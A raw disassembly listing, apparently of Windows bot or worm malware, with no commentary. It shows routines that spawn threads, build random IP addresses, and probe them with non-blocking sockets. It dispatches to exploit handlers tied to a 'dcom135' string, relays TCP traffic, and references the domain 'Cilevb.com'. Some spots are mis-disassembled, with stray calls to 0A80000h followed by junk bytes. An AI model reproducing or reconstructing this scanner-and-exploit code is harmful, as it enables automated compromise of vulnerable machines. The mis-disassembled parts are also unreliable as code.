		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_439B68
		call	sub_416D40
		add	esp, 0Ch
		mov	ds:dword_439BEC, ebx


loc_407343:				; CODE XREF: seg000:00407327j
		push	esi
		push	edi
		push	ds:dword_439B64
		lea	eax, [ebp-204h]
		push	offset unk_4278DC
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-204h]
		push	4
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	ds:dword_439B5C, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_439950
		push	offset loc_406C3E
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, ds:dword_439B5C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_4073B2


loc_4073A0:				; CODE XREF: seg000:004073B0j
		cmp	ds:dword_439BF0, ebx
		jnz	short loc_4073CD
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_4073A0
; ---------------------------------------------------------------------------


loc_4073B2:				; CODE XREF: seg000:0040739Ej
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_427894
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_4073CD:				; CODE XREF: seg000:004073A6j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_40B16D
		mov	edi, offset dword_439FAC
		mov	dword ptr [esp], 104h
		push	edi
		push	ebx
		mov	ds:dword_43A1B8, ebx
		call	near ptr 0A80000h
		jp	short loc_40745C
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	esi, offset dword_43A0B0
		push	offset aCilevb_com ; "Cilevb.com"
		push	esi
		call	sub_416D40
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_439FA8, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_43A240, eax
		jnz	short loc_407448
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_43A1C0
		call	sub_416D40
		add	esp, 0Ch
		mov	ds:dword_43A244, 1
		jmp	short loc_407462
; ---------------------------------------------------------------------------


loc_407448:				; CODE XREF: seg000:00407429j
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_43A1C0
		call	sub_416D40
		add	esp, 0Ch


loc_40745C:				; CODE XREF: seg000:004073F2j
		mov	ds:dword_43A244, ebx


loc_407462:				; CODE XREF: seg000:00407446j
		push	esi
		push	edi
		push	ds:dword_43A1BC
		lea	eax, [ebp-204h]
		push	offset dword_427840
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-204h]
		push	5
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	ds:dword_43A1B4, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_439FA8
		push	offset sub_405409
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, ds:dword_43A1B4
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_4074D6


loc_4074C0:				; CODE XREF: seg000:004074D4j
		cmp	ds:dword_43A248, ebx
		jnz	loc_4075F9
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_4074C0
; ---------------------------------------------------------------------------


loc_4074D6:				; CODE XREF: seg000:004074BEj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4277FC
		jmp	loc_4075EA
; ---------------------------------------------------------------------------


loc_4074E7:				; CODE XREF: seg000:0040729Bj
		cmp	ds:dword_427330[eax], ebx
		jz	loc_407606
		push	3
		call	sub_4151DD
		test	eax, eax
		pop	ecx
		jnz	loc_407606
		mov	esi, offset dword_439E84
		push	104h
		push	esi
		push	ebx
		call	near ptr 0A80000h
		cdq
		push	5Ch
		push	esi
		call	sub_417040
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407525
		mov	[eax], bl


loc_407525:				; CODE XREF: seg000:00407521j
		mov	eax, ds:dword_42C174
		mov	ds:dword_439F9C, ebx
		mov	ds:dword_439F88, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_439BFC
		call	sub_4154E9
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_439BF8, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_439F88
		mov	ds:dword_439F94, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_439F98, ecx
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_4277AC
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_414F95
		add	esp, 20h
		mov	ds:dword_439F90, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_439BF8
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, ds:dword_439F90
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_4075DE


loc_4075CC:				; CODE XREF: seg000:004075DCj
		cmp	ds:dword_439FA4, ebx
		jnz	short loc_4075F9
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_4075CC
; ---------------------------------------------------------------------------


loc_4075DE:				; CODE XREF: seg000:004075CAj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427764


loc_4075EA:				; CODE XREF: seg000:004074E2j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch


loc_4075F9:				; CODE XREF: seg000:004074C6j
					; seg000:004075D2j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_40B16D
		pop	ecx


loc_407606:				; CODE XREF: seg000:0040728Aj
					; seg000:004072ABj ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40760A	proc near		; CODE XREF: sub_40778B:loc_4077FCp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:438FD8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43A2BC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_43A384
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4155D0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40760A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407652	proc near		; CODE XREF: sub_40778B+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415CF0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40767A
		xor	eax, eax
		jmp	short loc_4076EB
; ---------------------------------------------------------------------------


loc_40767A:				; CODE XREF: sub_407652+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416AA0
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_4076A7
		call	sub_415545
		mov	[ebp+var_C], eax


loc_4076A7:				; CODE XREF: sub_407652+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_4076B4
		call	sub_415545
		mov	[ebp+var_8], eax


loc_4076B4:				; CODE XREF: sub_407652+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4076C1
		call	sub_415545
		mov	[ebp+var_4], eax


loc_4076C1:				; CODE XREF: sub_407652+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076CD
		call	sub_415545


loc_4076CD:				; CODE XREF: sub_407652+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_438FD8[ecx*8],	eax


loc_4076EB:				; CODE XREF: sub_407652+26j
		pop	esi
		leave
		retn
sub_407652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076EE	proc near		; CODE XREF: sub_40778B+B8p
					; sub_412B9A+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_43A408
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_407717
		xor	eax, eax
		jmp	short loc_407786
; ---------------------------------------------------------------------------


loc_407717:				; CODE XREF: sub_4076EE+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_43A388
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43A424
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A330
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_43A370
		push	esi
		mov	edi, eax
		call	ds:dword_43A420
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407786:				; CODE XREF: sub_4076EE+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40778B	proc near		; DATA XREF: sub_40778B+34Fo

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41553B
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077D2:				; CODE XREF: sub_40778B+200j
		mov	eax, ds:dword_43F51C[ebx]
		cmp	ds:dword_438FDC[eax*8],	0
		jz	loc_407990
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077FC
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407652
		pop	ecx
		jmp	short loc_407801
; ---------------------------------------------------------------------------


loc_4077FC:				; CODE XREF: sub_40778B+60j
		call	sub_40760A


loc_407801:				; CODE XREF: sub_40778B+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_43F51C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427978
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43F318[ebx]
		push	eax
		call	sub_4154E9
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076EE
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_407980
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078D5
		push	offset dword_439938
		call	ds:dword_4210B4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42793C
		push	eax
		call	sub_4154E9
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_4078B7
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078AB
		lea	eax, [ebp+var_140]


loc_4078AB:				; CODE XREF: sub_40778B+118j
		push	eax
		push	[ebp+var_40]
		call	sub_412D4E
		add	esp, 14h


loc_4078B7:				; CODE XREF: sub_40778B+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B16D
		mov	[esp+29Ch+var_29C], offset dword_439938
		call	ds:dword_4210B0	; RtlLeaveCriticalSection
		jmp	loc_407980
; ---------------------------------------------------------------------------


loc_4078D5:				; CODE XREF: sub_40778B+CDj
		push	edi
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4154E9
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4154E9
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_407919
		lea	eax, [ebp+var_140]


loc_407919:				; CODE XREF: sub_40778B+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4154E9
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_427324[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407980:				; CODE XREF: sub_40778B+C3j
					; sub_40778B+145j
		push	7D0h
		call	ds:dword_421060	; Sleep
		jmp	loc_4077D2
; ---------------------------------------------------------------------------


loc_407990:				; CODE XREF: sub_40778B+55j
		push	esi
		call	sub_4152B1
		pop	ecx
		push	0
		call	near ptr 0A80000h
		or	al, 55h
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_43A3C8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_438FD8[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_407276
		push	8
		call	sub_4151DD
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A6D
		mov	esi, offset dword_439938
		push	esi
		call	ds:dword_4210BC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4210B8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_407A6D
		lea	eax, [ebp+var_1CC]
		push	offset unk_427ABC
		push	eax
		call	sub_4154E9
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A57
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4E
		add	esp, 14h


loc_407A57:				; CODE XREF: sub_40778B+2ADj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A6D:				; CODE XREF: sub_40778B+277j
					; sub_40778B+293j
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_421060
		mov	edi, ebx
		mov	ds:dword_438FDC[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B3A


loc_407A8B:				; CODE XREF: sub_40778B+3A9j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A70
		push	eax
		call	sub_4154E9
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414F95
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_43F51C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40778B
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_407B05


loc_407AFA:				; CODE XREF: sub_40778B+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B2C
		push	1Eh
		call	esi ; dword_421060
		jmp	short loc_407AFA
; ---------------------------------------------------------------------------


loc_407B05:				; CODE XREF: sub_40778B+36Dj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A20
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		add	esp, 10h


loc_407B2C:				; CODE XREF: sub_40778B+372j
		push	1Eh
		call	esi ; dword_421060
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A8B


loc_407B3A:				; CODE XREF: sub_40778B+2FAj
		cmp	[ebp+var_30], ebx
		jz	loc_407BE4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_421060


loc_407B4F:				; CODE XREF: sub_40778B+464j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_438FD8[eax*8]
		push	eax
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4279C8
		push	eax
		call	sub_4154E9
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B9D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D4E
		add	esp, 14h


loc_407B9D:				; CODE XREF: sub_40778B+3F3j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	ds:dword_438FDC[eax*8],	ebx
		call	esi ; dword_421060
		push	8
		call	sub_4151DD
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BD4
		push	offset dword_439938
		call	ds:dword_4210BC	; RtlDeleteCriticalSection


loc_407BD4:				; CODE XREF: sub_40778B+43Cj
		push	[ebp+var_2C]
		call	sub_4152B1
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		dec	edx


loc_407BE4:				; CODE XREF: sub_40778B+3B2j
					; sub_40778B+471j
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_438FDC[eax*8],	1
		jnz	loc_407B4F
		push	7D0h
		call	esi ; dword_421060
		jmp	short loc_407BE4
sub_40778B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BFE	proc near		; DATA XREF: seg000:004103FEo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_43A388
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_43A408
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D62
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_43F524[eax], ebx
		call	ds:dword_43A2A4
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A3B4
		test	eax, eax
		jnz	loc_407D62
		push	0Ah
		push	ebx
		call	ds:dword_43A3B0
		test	eax, eax
		jnz	loc_407D62


loc_407CA8:				; CODE XREF: sub_407BFE+BEj
					; sub_407BFE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_43A41C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407CA8
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_427B58
		push	eax
		call	sub_4154E9
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414F95
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_43F51C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D86
		push	esi
		push	esi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_407D4D


loc_407D3A:				; CODE XREF: sub_407BFE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407CA8
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_407D3A
; ---------------------------------------------------------------------------


loc_407D4D:				; CODE XREF: sub_407BFE+13Aj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427B08
		call	sub_40B1E1
		pop	ecx
		pop	ecx
		jmp	short loc_407D65
; ---------------------------------------------------------------------------


loc_407D62:				; CODE XREF: sub_407BFE+61j
					; sub_407BFE+93j ...
		mov	edi, [ebp+arg_0]


loc_407D65:				; CODE XREF: sub_407BFE+162j
		push	edi
		call	ds:dword_43A420
		push	ebx
		call	ds:dword_43A420
		push	[ebp+var_3C]
		call	sub_4152B1
		pop	ecx
		push	esi
		call	near ptr 0A80000h
		out	dx, al
		pop	edi
		pop	esi
		pop	ebx
sub_407BFE	endp ; sp-analysis failed



loc_407D86:				; DATA XREF: sub_407BFE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415D70
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_43A408
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F3C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	ds:dword_43A388
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_43A3C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407E16
		lea	eax, [ebp-13Ch]
		push	eax
		call	ds:dword_43A40C
		jmp	short loc_407E24
; ---------------------------------------------------------------------------


loc_407E16:				; CODE XREF: seg000:00407E05j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	ds:dword_43A340


loc_407E24:				; CODE XREF: seg000:00407E14j
		cmp	eax, edi
		jz	loc_407F3C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	ds:dword_43A330
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F3C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	ds:dword_43A414
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_427C04
		push	eax
		call	sub_4154E9
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_414F95
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43F524[ebx]
		mov	ds:dword_43F51C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_43F528[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F6D
		push	edi
		push	edi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_407F29


loc_407ED6:				; CODE XREF: seg000:00407EE3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EE5
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_407ED6
; ---------------------------------------------------------------------------


loc_407EE5:				; CODE XREF: seg000:00407ED9j
		mov	ebx, 1000h


loc_407EEA:				; CODE XREF: seg000:00407F25j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A3A0
		cmp	eax, edi
		jle	short loc_407F3C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_43A3D8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407EEA
		jmp	short loc_407F3C
; ---------------------------------------------------------------------------


loc_407F29:				; CODE XREF: seg000:00407ED4j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427BB0
		call	sub_40B1E1
		pop	ecx
		pop	ecx


loc_407F3C:				; CODE XREF: seg000:00407DCAj
					; seg000:00407E26j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	ds:dword_43F524[eax]
		call	ds:dword_43A420
		push	dword ptr [ebp+8]
		call	ds:dword_43A420
		push	dword ptr [ebp-4]
		call	sub_4152B1
		pop	ecx
		push	edi
		call	near ptr 0A80000h
		xchg	eax, ebx
		pop	edi
		pop	esi
		pop	ebx


loc_407F6D:				; DATA XREF: seg000:00407EB6o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415D70
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
